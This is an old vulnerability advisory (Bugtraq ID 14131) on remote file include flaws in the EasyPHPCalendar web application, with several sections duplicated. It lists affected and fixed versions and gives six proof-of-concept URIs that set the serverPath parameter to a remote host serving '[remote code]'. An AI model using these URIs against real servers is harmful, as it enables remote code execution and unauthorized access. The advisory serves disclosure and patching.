EasyPHPCalendar Multiple Remote File Include Vulnerabilities
BID:14131
Info
EasyPHPCalendar Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 14131 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 04 2005 12:00AM |
| Updated: | Jul 04 2005 12:00AM |
| Credit: | Discovery of this vulnerability is credited to Albania Security Clan. |
| Vulnerable: |
EasyPHPCalendar EasyPHPCalendar 6.2.7 Rev2 EasyPHPCalendar EasyPHPCalendar 6.2.7 EasyPHPCalendar EasyPHPCalendar 6.2.6 EasyPHPCalendar EasyPHPCalendar 6.2.5 EasyPHPCalendar EasyPHPCalendar 6.2.4 EasyPHPCalendar EasyPHPCalendar 6.2.3 EasyPHPCalendar EasyPHPCalendar 6.2.2 EasyPHPCalendar EasyPHPCalendar 6.2.1 EasyPHPCalendar EasyPHPCalendar 6.2 EasyPHPCalendar EasyPHPCalendar 6.1.5 |
| Not Vulnerable: |
EasyPHPCalendar EasyPHPCalendar 6.2.8 |
Discussion
EasyPHPCalendar Multiple Remote File Include Vulnerabilities
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable.
Exploit / POC
EasyPHPCalendar Multiple Remote File Include Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/setup/header.inc.php?serverPath=http://www.example.com/[remote code]
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/calendar/calendar.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/events/header.inc.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/events/datePicker.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/setup/setupSQL.php?serverPath=http://www.example.com/[remote code]
http://www.example.com/calendar/setup/header.inc.php?serverPath=http://www.example.com/[remote code]
Solution / Fix
EasyPHPCalendar Multiple Remote File Include Vulnerabilities
Solution:
The vendor has addressed this issue in EasyPHPCalendar version 6.2.8 and later:
EasyPHPCalendar EasyPHPCalendar 6.1.5
EasyPHPCalendar EasyPHPCalendar 6.2
EasyPHPCalendar EasyPHPCalendar 6.2.1
EasyPHPCalendar EasyPHPCalendar 6.2.2
EasyPHPCalendar EasyPHPCalendar 6.2.3
EasyPHPCalendar EasyPHPCalendar 6.2.4
EasyPHPCalendar EasyPHPCalendar 6.2.5
EasyPHPCalendar EasyPHPCalendar 6.2.6
EasyPHPCalendar EasyPHPCalendar 6.2.7
EasyPHPCalendar EasyPHPCalendar 6.2.7 Rev2
Solution:
The vendor has addressed this issue in EasyPHPCalendar version 6.2.8 and later:
EasyPHPCalendar EasyPHPCalendar 6.1.5
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.1
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.2
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.3
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.4
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.5
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.6
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.7
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
EasyPHPCalendar EasyPHPCalendar 6.2.7 Rev2
-
EasyPHPCalendar EasyPHPCalendar 6.2.9
http://www.easyphpcalendar.com/clients/download.php
References
EasyPHPCalendar Multiple Remote File Include Vulnerabilities
References:
References:
- EasyPHPCalendar (Albania Security Clan)
- EasyPHPCalendar Homepage (EasyPHPCalendar)